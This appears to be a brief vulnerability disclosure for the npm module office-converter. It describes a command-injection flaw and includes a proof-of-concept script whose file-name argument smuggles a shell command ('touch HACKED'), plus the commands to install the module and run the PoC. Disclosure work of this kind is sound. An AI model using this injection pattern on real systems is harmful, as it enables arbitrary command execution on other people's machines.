The office-converter
module is vulnerable against RCE
since a command is crafted using user inputs
not validated and then executed, leading to arbitrary command injection
// poc.js
var converter = require('office-converter')();
converter.generatePdf('"; touch HACKED; #', function(err, result) {
if (result.status === 0) {
console.log('Output File located at ' + result.outputFile);
}
});
HACKED
npm i office-converter # Install affected module
node poc.js # Run the PoC
HACKED
has been created